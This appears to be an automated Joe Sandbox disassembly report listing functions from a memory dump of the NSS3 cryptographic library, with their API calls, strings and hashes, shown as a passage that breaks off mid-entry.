Opcode ID: 098cbfe6ea2b83176177fd6b792d86f4bb7f40c88fd172f9995159dd2e26547b
Instruction ID: 48949e462821de472184bf24c8ae161d2e3ecdd48f6bebb8b0e1e076af483af8
Opcode Fuzzy Hash: 098cbfe6ea2b83176177fd6b792d86f4bb7f40c88fd172f9995159dd2e26547b
Instruction Fuzzy Hash: C1439174A083418FD714CF19D490A1AB7F2BF8931CF24CA6DE8998B752D735E846CB92

Function 6CEEEFF0 Relevance: 21.4, APIs: 14, Instructions: 362memoryCOMMON

Download Yara Rule

APIs

Part of subcall function 6CEEC6B0: SECOID_FindOID_Util.NSS3(00000000,00000004,?,6CEEDAE2,?), ref: 6CEEC6C2

SECOID_GetAlgorithmTag_Util.NSS3(?), ref: 6CEEF0AE
SECOID_GetAlgorithmTag_Util.NSS3(?), ref: 6CEEF0C8
PK11_FindKeyByAnyCert.NSS3(?,?), ref: 6CEEF101
SECOID_GetAlgorithmTag_Util.NSS3(?), ref: 6CEEF11D
SEC_ASN1EncodeItem_Util.NSS3(00000000,?,?,6CFB218C), ref: 6CEEF183
SEC_GetSignatureAlgorithmOidTag.NSS3(?,00000000), ref: 6CEEF19A
SECITEM_ZfreeItem_Util.NSS3(?,00000000), ref: 6CEEF1CB
SECKEY_DestroyPrivateKey.NSS3(?), ref: 6CEEF1EF
SECITEM_CopyItem_Util.NSS3(?,?,?), ref: 6CEEF210

Part of subcall function 6CE952D0: NSS_GetAlgorithmPolicy.NSS3(00000000,?,00000000,?,6CEEF1E9,?,00000000,?,?), ref: 6CE952F5
Part of subcall function 6CE952D0: SEC_GetSignatureAlgorithmOidTag.NSS3(00000000,00000000), ref: 6CE9530F
Part of subcall function 6CE952D0: NSS_GetAlgorithmPolicy.NSS3(00000000,?), ref: 6CE95326
Part of subcall function 6CE952D0: PR_SetError.NSS3(FFFFE0B5,00000000,?,?,00000000,?,6CEEF1E9,?,00000000,?,?), ref: 6CE95340

SECITEM_ZfreeItem_Util.NSS3(?,00000000), ref: 6CEEF227

Part of subcall function 6CEDFAB0: free.MOZGLUE(?,-00000001,?,?,6CE7F673,00000000,00000000), ref: 6CEDFAC7

SECOID_SetAlgorithmID_Util.NSS3(?,?,?,00000000), ref: 6CEEF23E

Part of subcall function 6CEDBE60: SECOID_FindOIDByTag_Util.NSS3(00000000,00000000,00000000,00000000,?,6CE8E708,00000000,00000000,00000004,00000000), ref: 6CEDBE6A
Part of subcall function 6CEDBE60: SECITEM_CopyItem_Util.NSS3(00000000,?,00000000,00000000,?,?,?,?,?,?,?,00000000,?,?,6CE904DC,?), ref: 6CEDBE7E
Part of subcall function 6CEDBE60: SECITEM_CopyItem_Util.NSS3(?,?,?,?,?,?,00000000,?,?,?,?,?,?,?,00000000,?), ref: 6CEDBEC2

PORT_ArenaAlloc_Util.NSS3(?,?), ref: 6CEEF2BB
PR_SetError.NSS3(FFFFE006,00000000), ref: 6CEEF3A8

Part of subcall function 6CF2C2A0: TlsGetValue.KERNEL32(FFFFE89D,00000000,?,?,?,?,?,?,?,?,?,?,?,00000001,00000000,00000000), ref: 6CF2C2BF

SECKEY_DestroyPrivateKey.NSS3(?), ref: 6CEEF3B3

Part of subcall function 6CE92D20: PK11_DestroyObject.NSS3(?,?), ref: 6CE92D3C
Part of subcall function 6CE92D20: PORT_FreeArena_Util.NSS3(?,00000001), ref: 6CE92D5F

Memory Dump Source

Source File: 00000000.00000002.1854244851.000000006CE01000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CE00000, based on PE: true

Associated: 00000000.00000002.1854215322.000000006CE00000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1854435599.000000006CF9F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1854487549.000000006CFDE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1854520779.000000006CFDF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1854557017.000000006CFE0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1854584970.000000006CFE5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ce00000_file.jbxd

Similarity

API ID: Util$Algorithm$Item_$Tag_$CopyDestroyFind$ErrorK11_PolicyPrivateSignatureZfree$Alloc_ArenaArena_CertEncodeFreeObjectValuefree
String ID:
API String ID: 1559028977-0
Opcode ID: 494c3fa5bd00d94ed02c367b9322d3db471aa1564d3f352ef1781e76daded513
Instruction ID: 3cd846f2e1270a40fcf8cd34079d19ff13a61478098b9124e884d122af1bd4a6
Opcode Fuzzy Hash: 494c3fa5bd00d94ed02c367b9322d3db471aa1564d3f352ef1781e76daded513
Instruction Fuzzy Hash: B0D18DB6E016059FEB14CFA9E880A9EB7F5EF4C34CF258029D915A7711EB35E806CB50

Function 6CF1DE10 Relevance: 21.3, APIs: 8, Strings: 4, Instructions: 332threadCOMMON

Download Yara Rule

APIs

PR_EnterMonitor.NSS3(FF000001,?,?,?,00000000,6CEF7FFA,00000000,?,6CF223B9,00000002,00000000,?,6CEF7FFA,00000002), ref: 6CF1DE33

Part of subcall function 6CF49090: TlsGetValue.KERNEL32 ref: 6CF490AB
Part of subcall function 6CF49090: TlsGetValue.KERNEL32 ref: 6CF490C9
Part of subcall function 6CF49090: EnterCriticalSection.KERNEL32 ref: 6CF490E5
Part of subcall function 6CF49090: TlsGetValue.KERNEL32 ref: 6CF49116
Part of subcall function 6CF49090: LeaveCriticalSection.KERNEL32 ref: 6CF4913F

Part of subcall function 6CF1D000: PORT_ZAlloc_Util.NSS3(00000108,?,6CF1DE74,6CEF7FFA,00000002,?,?,?,?,?,00000000,6CEF7FFA,00000000,?,6CF223B9,00000002), ref: 6CF1D008

PR_ExitMonitor.NSS3(FF000001,?,?,?,?,?,00000000,6CEF7FFA,00000000,?,6CF223B9,00000002,00000000,?,6CEF7FFA,00000002), ref: 6CF1DE57
memset.VCRUNTIME140(?,00000000,00000088), ref: 6CF1DEA5
PR_SetError.NSS3(FFFFE001,00000000), ref: 6CF1E069
PR_SetError.NSS3(FFFFE001,00000000), ref: 6CF1E121
PK11_FreeSymKey.NSS3(?), ref: 6CF1E14F
PK11_CreateContextBySymKey.NSS3(?,00000000,?,00000000), ref: 6CF1E195
PR_GetCurrentThread.NSS3 ref: 6CF1E1FC

Part of subcall function 6CF12460: PR_SetError.NSS3(FFFFE005,00000000,6CFB7379,00000002,?), ref: 6CF12493

Strings

handshake data, xrefs: 6CF1DFF7
key, xrefs: 6CF1E046
application data, xrefs: 6CF1DFE0
early application data, xrefs: 6CF1DFC9

Memory Dump Source

Source File: 00000000.00000002.1854244851.000000006CE01000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CE00000, based on PE: true

Associated: 00000000.00000002.1854215322.000000006CE00000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1854435599.000000006CF9F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1854487549.000000006CFDE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1854520779.000000006CFDF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1854557017.000000006CFE0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1854584970.000000006CFE5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ce00000_file.jbxd

Similarity

API ID: ErrorValue$CriticalEnterK11_MonitorSection$Alloc_ContextCreateCurrentExitFreeLeaveThreadUtilmemset
String ID: application data$early application data$handshake data$key
API String ID: 1461918828-2699248424
Opcode ID: c35ffa66eef025fb82fe017ae2130a955efb1171b64cee057d85abee70686d91
Instruction ID: d2c0e6282f78cd70a9199527ecbf4b817e1abf33799b2d6d3e772cbf19b3bb99
Opcode Fuzzy Hash: c35ffa66eef025fb82fe017ae2130a955efb1171b64cee057d85abee70686d91
Instruction Fuzzy Hash: C6C10571B042159FEB04CF65CC84BEAB7B4FF09318F184129E909ABE91E731E954CBA1

Function 6CE0ECC0 Relevance: 20.0, APIs: 8, Strings: 3, Instructions: 741COMMON

Download Yara Rule

APIs

_byteswap_ulong.API-MS-WIN-CRT-UTILITY-L1-1-0(?), ref: 6CE0ED0A
_byteswap_ulong.API-MS-WIN-CRT-UTILITY-L1-1-0(?), ref: 6CE0EE68
_byteswap_ulong.API-MS-WIN-CRT-UTILITY-L1-1-0(?), ref: 6CE0EF87
_byteswap_ulong.API-MS-WIN-CRT-UTILITY-L1-1-0(?,?), ref: 6CE0EF98

Strings

database corruption, xrefs: 6CE0F48D
%s at line %d of [%.10s], xrefs: 6CE0F492
9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4, xrefs: 6CE0F483

Memory Dump Source

Source File: 00000000.00000002.1854244851.000000006CE01000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CE00000, based on PE: true

Associated: 00000000.00000002.1854215322.000000006CE00000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1854435599.000000006CF9F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1854487549.000000006CFDE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1854520779.000000006CFDF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1854557017.000000006CFE0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1854584970.000000006CFE5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ce00000_file.jbxd

Similarity

API ID: _byteswap_ulong
String ID: %s at line %d of [%.10s]$9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4$database corruption
API String ID: 4101233201-598938438
Opcode ID: d636427576290a0976fb69ea291313f285bb47a6a9a7d89577ee3627cc40e481
Instruction ID: 421f1a92a76a37edbfadbd715d7df23f0c950e67c100c33be67536a75239c75e
Opcode Fuzzy Hash: d636427576290a0976fb69ea291313f285bb47a6a9a7d89577ee3627cc40e481
Instruction Fuzzy Hash: B062D070B046458FDB04CF64C48079ABBB2BF4531CF2841ADD8856BB92D739E8A6CBD5

Function 6CEAFC80 Relevance: 19.8, APIs: 13, Instructions: 311COMMON

Download Yara Rule

APIs

PK11_HPKE_NewContext.NSS3(?,?,?,00000000,00000000), ref: 6CEAFD06

Part of subcall function 6CEAF670: PORT_ZAlloc_Util.NSS3(00000038), ref: 6CEAF696
Part of subcall function 6CEAF670: PK11_FreeSymKey.NSS3(?,?,?), ref: 6CEAF789
Part of subcall function 6CEAF670: SECITEM_ZfreeItem_Util.NSS3(?,00000001,?,?,?), ref: 6CEAF796
Part of subcall function 6CEAF670: free.MOZGLUE(00000000,?,?,?,?,?), ref: 6CEAF79F
Part of subcall function 6CEAF670: SECITEM_DupItem_Util.NSS3 ref: 6CEAF7F0

Part of subcall function 6CED3440: PK11_GetAllTokens.NSS3 ref: 6CED3481
Part of subcall function 6CED3440: PR_SetError.NSS3(00000000,00000000), ref: 6CED34A3
Part of subcall function 6CED3440: TlsGetValue.KERNEL32 ref: 6CED352E
Part of subcall function 6CED3440: EnterCriticalSection.KERNEL32(?), ref: 6CED3542
Part of subcall function 6CED3440: PR_Unlock.NSS3(?), ref: 6CED355B

SECITEM_DupItem_Util.NSS3(?), ref: 6CEAFDAD

Part of subcall function 6CEDFD80: PORT_Alloc_Util.NSS3(0000000C,?,?,00000001,?,6CE89003,?), ref: 6CEDFD91
Part of subcall function 6CEDFD80: PORT_Alloc_Util.NSS3(A4686CEE,?), ref: 6CEDFDA2
Part of subcall function 6CEDFD80: memcpy.VCRUNTIME140(00000000,12D068C3,A4686CEE,?,?), ref: 6CEDFDC4

SECITEM_DupItem_Util.NSS3(?), ref: 6CEAFE00

Part of subcall function 6CEDFD80: free.MOZGLUE(00000000,?,?), ref: 6CEDFDD1

Part of subcall function 6CECE550: PR_SetError.NSS3(FFFFE005,00000000), ref: 6CECE5A0

PR_SetError.NSS3(FFFFE005,00000000), ref: 6CEAFEBB
PK11_FreeSymKey.NSS3(00000000), ref: 6CEAFEC8
PK11_HPKE_DestroyContext.NSS3(00000000,00000001), ref: 6CEAFED3
PR_SetError.NSS3(FFFFE002,00000000), ref: 6CEAFF0C
PR_SetError.NSS3(FFFFE002,00000000), ref: 6CEAFF23
PK11_ImportSymKey.NSS3(?,?,00000004,82000105,?,00000000), ref: 6CEAFF4D
PR_SetError.NSS3(FFFFE002,00000000), ref: 6CEAFFDA
PK11_ImportSymKey.NSS3(?,0000402A,00000004,0000010C,?,00000000), ref: 6CEB0007
PK11_CreateContextBySymKey.NSS3(?,82000105,?,?), ref: 6CEB0029
PR_SetError.NSS3(FFFFE002,00000000), ref: 6CEB0044

Memory Dump Source

Source File: 00000000.00000002.1854244851.000000006CE01000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CE00000, based on PE: true

Associated: 00000000.00000002.1854215322.000000006CE00000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1854435599.000000006CF9F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1854487549.000000006CFDE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1854520779.000000006CFDF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1854557017.000000006CFE0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1854584970.000000006CFE5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ce00000_file.jbxd

Similarity

API ID: K11_$ErrorUtil$Item_$Alloc_Context$FreeImportfree$CreateCriticalDestroyEnterSectionTokensUnlockValueZfreememcpy
String ID:
API String ID: 138705723-0
Opcode ID: c55858a6c00f3d450709de0689826734cda5bbe0bc137fdcbf67d41be6baaa33
Instruction ID: 5368e42d042064f9b5a0da74f7afc68b24e950aedd05ff7575f85d8e9b25dc23
Opcode Fuzzy Hash: c55858a6c00f3d450709de0689826734cda5bbe0bc137fdcbf67d41be6baaa33
Instruction Fuzzy Hash: EFB1D5B1604301AFE304CF69C841A6AB7F5FF8831CF258A1DE9998BB41E774E945CB91

Function 6CEA7D60 Relevance: 18.3, APIs: 12, Instructions: 299COMMON

Download Yara Rule

APIs

SECOID_FindOID_Util.NSS3(?), ref: 6CEA7DDC

Part of subcall function 6CEE07B0: PL_HashTableLookupConst.NSS3(?,FFFFFFFF,?,?,6CE88298,?,?,?,6CE7FCE5,?), ref: 6CEE07BF
Part of subcall function 6CEE07B0: PL_HashTableLookup.NSS3(?,?), ref: 6CEE07E6
Part of subcall function 6CEE07B0: PR_SetError.NSS3(FFFFE08F,00000000), ref: 6CEE081B
Part of subcall function 6CEE07B0: PR_SetError.NSS3(FFFFE08F,00000000), ref: 6CEE0825

SECOID_FindOIDByTag_Util.NSS3(00000000), ref: 6CEA7DF3
PK11_PBEKeyGen.NSS3(?,00000000,00000000,00000000,?), ref: 6CEA7F07
PK11_GetPadMechanism.NSS3(00000000), ref: 6CEA7F57
PK11_UnwrapPrivKey.NSS3(?,00000000,00000000,?,0000001C,00000000,?,?,?,00000000,00000130,00000004,?), ref: 6CEA7F98
PK11_FreeSymKey.NSS3(?), ref: 6CEA7FC9
SECITEM_ZfreeItem_Util.NSS3(?,00000001), ref: 6CEA7FDE
PK11_PBEKeyGen.NSS3(?,?,00000000,00000001,?), ref: 6CEA8000

Part of subcall function 6CEC9430: SECOID_GetAlgorithmTag_Util.NSS3(00000000,?,?,00000000,00000000,?,6CEA7F0C,?,00000000,00000000,00000000,?), ref: 6CEC943B
Part of subcall function 6CEC9430: SECOID_FindOIDByTag_Util.NSS3(00000000,?,?), ref: 6CEC946B
Part of subcall function 6CEC9430: SECITEM_ZfreeItem_Util.NSS3(00000000,00000001,?,?,?,?,?), ref: 6CEC9546

SECITEM_ZfreeItem_Util.NSS3(?,00000001), ref: 6CEA8110
PK11_FreeSymKey.NSS3(00000000), ref: 6CEA811D
PK11_ImportPublicKey.NSS3(?,?,00000001), ref: 6CEA822D
SECKEY_DestroyPublicKey.NSS3(?), ref: 6CEA823C

Memory Dump Source

Source File: 00000000.00000002.1854244851.000000006CE01000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CE00000, based on PE: true

Associated: 00000000.00000002.1854215322.000000006CE00000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1854435599.000000006CF9F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1854487549.000000006CFDE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1854520779.000000006CFDF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1854557017.000000006CFE0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1854584970.000000006CFE5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ce00000_file.jbxd

Similarity

API ID: K11_Util$FindItem_Tag_Zfree$ErrorFreeHashLookupPublicTable$AlgorithmConstDestroyImportMechanismPrivUnwrap
String ID:
API String ID: 1923011919-0
Opcode ID: f5e1ac792ef77377e7d90bba7ec2d844b2bbf4dd0910a3a7bffe6a1760a35602
Instruction ID: 9190e79903c2fa1b332bc64b61aab91e47cde060d16d88cfc7c8e85829f91352
Opcode Fuzzy Hash: f5e1ac792ef77377e7d90bba7ec2d844b2bbf4dd0910a3a7bffe6a1760a35602
Instruction Fuzzy Hash: 2EC172B1D402599FEB21CF54CC40FEAB7B8AF15348F1081E9E91DAA641E7319E86CF61

Function 6CEB0EC0 Relevance: 16.7, APIs: 11, Instructions: 213memoryCOMMON

Download Yara Rule

APIs

PK11_PubDeriveWithKDF.NSS3 ref: 6CEB0F8D
SECITEM_AllocItem_Util.NSS3(00000000,00000000,?), ref: 6CEB0FB3
PR_SetError.NSS3(FFFFE00E,00000000), ref: 6CEB1006
PK11_FreeSymKey.NSS3(?), ref: 6CEB101C
SECITEM_ZfreeItem_Util.NSS3(00000000,00000001), ref: 6CEB1033
SECITEM_ZfreeItem_Util.NSS3(?,00000001), ref: 6CEB103F
PK11_FreeSymKey.NSS3(00000000), ref: 6CEB1048
memcpy.VCRUNTIME140(?,?,?), ref: 6CEB108E
SECITEM_AllocItem_Util.NSS3(00000000,00000000,?), ref: 6CEB10BB
memcpy.VCRUNTIME140(?,00000006,?), ref: 6CEB10D6
memcpy.VCRUNTIME140(?,?,?), ref: 6CEB112E

Part of subcall function 6CEB1570: htonl.WSOCK32(?,?,?,?,?,?,?,?,6CEB08C4,?,?), ref: 6CEB15B8
Part of subcall function 6CEB1570: htonl.WSOCK32(?,?,?,?,?,?,?,?,?,6CEB08C4,?,?), ref: 6CEB15C1
Part of subcall function 6CEB1570: PK11_FreeSymKey.NSS3(?,?,?,?,?,?,?,?,?,?,?,?,?,?), ref: 6CEB162E
Part of subcall function 6CEB1570: PK11_FreeSymKey.NSS3(?,?,?,?,?,?,?,?,?,?,?,?,?,?), ref: 6CEB1637

Memory Dump Source

Source File: 00000000.00000002.1854244851.000000006CE01000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CE00000, based on PE: true

Associated: 00000000.00000002.1854215322.000000006CE00000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1854435599.000000006CF9F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1854487549.000000006CFDE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1854520779.000000006CFDF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1854557017.000000006CFE0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1854584970.000000006CFE5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ce00000_file.jbxd

Similarity

API ID: K11_$FreeItem_Util$memcpy$AllocZfreehtonl$DeriveErrorWith
String ID:
API String ID: 1510409361-0
Opcode ID: c0b9fdc064fa8e7c2287da8cd585aaa0a8cdb386439cb735516a69a4067b029c
Instruction ID: b8e6bcac1ce5f7e7432c4eb298fbae7c90442d8aa8598a5d9b58dec199ddd277
Opcode Fuzzy Hash: c0b9fdc064fa8e7c2287da8cd585aaa0a8cdb386439cb735516a69a4067b029c
Instruction Fuzzy Hash: 2471C0B1A002058FDB00CFA5CE85A7AB7B5BF4832CF24862DE919A7711E731E955CB91

Function 6CED1CE0 Relevance: 16.2, APIs: 5, Strings: 4, Instructions: 401COMMON

Download Yara Rule

APIs

memcpy.VCRUNTIME140(?,?,00000020), ref: 6CED1F19
memcpy.VCRUNTIME140(?,?,00000020), ref: 6CED2166
memcpy.VCRUNTIME140(?,?,00000010), ref: 6CED228F
memcpy.VCRUNTIME140(?,?,00000010), ref: 6CED23B8
PR_SetError.NSS3(FFFFE001,00000000), ref: 6CED241C

Strings

token, xrefs: 6CED1F2C
manufacturer, xrefs: 6CED2179
model, xrefs: 6CED23CB, 6CED23EC
serial, xrefs: 6CED22A2

Memory Dump Source

Source File: 00000000.00000002.1854244851.000000006CE01000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CE00000, based on PE: true

Associated: 00000000.00000002.1854215322.000000006CE00000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1854435599.000000006CF9F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1854487549.000000006CFDE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1854520779.000000006CFDF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1854557017.000000006CFE0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1854584970.000000006CFE5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ce00000_file.jbxd

Similarity

API ID: memcpy$Error
String ID: manufacturer$model$serial$token
API String ID: 3204416626-1906384322
Opcode ID: fb9534245fd3fd6da3ac24d8e97ac817308955b915cc91af1be04ff0aafb5ac8
Instruction ID: c8390acd1a9cf2658046d9d40e0b5ee943254923d03e3457932bdf18f376087e
Opcode Fuzzy Hash: fb9534245fd3fd6da3ac24d8e97ac817308955b915cc91af1be04ff0aafb5ac8
Instruction Fuzzy Hash: D0022062D0CBC96EF7318271C44D3D76AF09B5632CF2E166DC59E467C3C3A8698A8352

Function 6CED6C00 Relevance: 15.9, APIs: 4, Strings: 5, Instructions: 190memorytimeCOMMON

Download Yara Rule

APIs

PR_SetError.NSS3(FFFFE005,00000000,?,?,00000000,00000000,00000000,?,6CE81C6F,00000000,00000004,?,?), ref: 6CED6C3F

Part of subcall function 6CF2C2A0: TlsGetValue.KERNEL32(FFFFE89D,00000000,?,?,?,?,?,?,?,?,?,?,?,00000001,00000000,00000000), ref: 6CF2C2BF

PORT_ArenaAlloc_Util.NSS3(?,0000000D,?,?,00000000,00000000,00000000,?,6CE81C6F,00000000,00000004,?,?), ref: 6CED6C60
PR_ExplodeTime.NSS3(00000000,6CE81C6F,?,?,?,?,?,00000000,00000000,00000000,?,6CE81C6F,00000000,00000004,?,?), ref: 6CED6C94

Strings

gfff, xrefs: 6CED6CFD
gfff, xrefs: 6CED6D9C
gfff, xrefs: 6CED6CF5
gfff, xrefs: 6CED6D66
gfff, xrefs: 6CED6D30

Memory Dump Source

Source File: 00000000.00000002.1854244851.000000006CE01000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CE00000, based on PE: true

Associated: 00000000.00000002.1854215322.000000006CE00000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1854435599.000000006CF9F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1854487549.000000006CFDE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1854520779.000000006CFDF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1854557017.000000006CFE0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1854584970.000000006CFE5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ce00000_file.jbxd

Similarity

API ID: Alloc_ArenaErrorExplodeTimeUtilValue
String ID: gfff$gfff$gfff$gfff$gfff
API String ID: 3534712800-180463219
Opcode ID: 9bcdf2201249cfc5434aeb669922cc9b83564c59ab58a0188eca14653151ca03
Instruction ID: e921fe151fe1209cd7c9b081d1d745894c67103891903363791cca58fb3dbe3a
Opcode Fuzzy Hash: 9bcdf2201249cfc5434aeb669922cc9b83564c59ab58a0188eca14653151ca03
Instruction Fuzzy Hash: 13514B72B015494FC708CDADDC526DABBEAABA4310F48C23AE441DB781D638E907C751

Function 6CF50F20 Relevance: 15.4, APIs: 3, Strings: 7, Instructions: 394stringCOMMON

Download Yara Rule

APIs

memcpy.VCRUNTIME140(?,?,-00000001), ref: 6CF51027
memcpy.VCRUNTIME140(?,?,00000000), ref: 6CF510B2
strlen.API-MS-WIN-CRT-STRING-L1-1-0(?), ref: 6CF51353

Strings

-- , xrefs: 6CF50FF5
zeroblob(%d), xrefs: 6CF51223
%lld, xrefs: 6CF5114B
'%.*q', xrefs: 6CF51217, 6CF51292
$, xrefs: 6CF512A0
%02x, xrefs: 6CF512F6
NULL, xrefs: 6CF5119E

Memory Dump Source

Source File: 00000000.00000002.1854244851.000000006CE01000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CE00000, based on PE: true

Associated: 00000000.00000002.1854215322.000000006CE00000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1854435599.000000006CF9F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1854487549.000000006CFDE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1854520779.000000006CFDF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1854557017.000000006CFE0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1854584970.000000006CFE5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ce00000_file.jbxd

Similarity

API ID: memcpy$strlen
String ID: $$%02x$%lld$'%.*q'$-- $NULL$zeroblob(%d)
API String ID: 2619041689-2155869073
Opcode ID: 044ad06080bc521819cdb8b0dbbf1879f1e949da3a18c4149c83f925d69feaf7
Instruction ID: f7d952efcc0583defd0706b0351aa2eb592edd625f5d810b97bfeb0ce7a0ce2d
Opcode Fuzzy Hash: 044ad06080bc521819cdb8b0dbbf1879f1e949da3a18c4149c83f925d69feaf7
Instruction Fuzzy Hash: ABE1DF71A083409FD710CF18C480B6BBBF5AF95348F95896DEA8587B11E771F859CB82

Function 6CF58FB0 Relevance: 14.3, APIs: 6, Strings: 2, Instructions: 289COMMON

Download Yara Rule

APIs

__ehfuncinfo$??2@YAPAXIABUnothrow_t@std@@@Z.LIBCMT ref: 6CF58FEE
_byteswap_ulong.API-MS-WIN-CRT-UTILITY-L1-1-0(?), ref: 6CF590DC
_byteswap_ulong.API-MS-WIN-CRT-UTILITY-L1-1-0(?), ref: 6CF59118
_byteswap_ulong.API-MS-WIN-CRT-UTILITY-L1-1-0(?), ref: 6CF5915C
_byteswap_ulong.API-MS-WIN-CRT-UTILITY-L1-1-0(?), ref: 6CF591C2
_byteswap_ulong.API-MS-WIN-CRT-UTILITY-L1-1-0(?), ref: 6CF59209

Strings

3333, xrefs: 6CF5925E
UUUU, xrefs: 6CF59255

Memory Dump Source

Source File: 00000000.00000002.1854244851.000000006CE01000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CE00000, based on PE: true

Associated: 00000000.00000002.1854215322.000000006CE00000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1854435599.000000006CF9F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1854487549.000000006CFDE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1854520779.000000006CFDF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1854557017.000000006CFE0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1854584970.000000006CFE5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ce00000_file.jbxd

Similarity

API ID: _byteswap_ulong$Unothrow_t@std@@@__ehfuncinfo$??2@
String ID: 3333$UUUU
API String ID: 1967222509-2679824526
Opcode ID: 45154f6e47b2e32cac846983b35b7159e291a94f06b8934bad55f18a92997135
Instruction ID: 9756e9afe28c23c8c6fd25489411e0cefe87c3ad2cbba028a3dd44e05b0040b9
Opcode Fuzzy Hash: 45154f6e47b2e32cac846983b35b7159e291a94f06b8934bad55f18a92997135
Instruction Fuzzy Hash: B9A1A1B2E001159BDB08CB68CC80B9EB7B5BF48324F494539EA15A7741EB36ED12CBD0

Function 6CE10FE0 Relevance: 14.2, APIs: 6, Strings: 2, Instructions: 227COMMON

Download Yara Rule

APIs

Part of subcall function 6CE0CA30: EnterCriticalSection.KERNEL32(?,?,?,6CE6F9C9,?,6CE6F4DA,6CE6F9C9,?,?,6CE3369A), ref: 6CE0CA7A
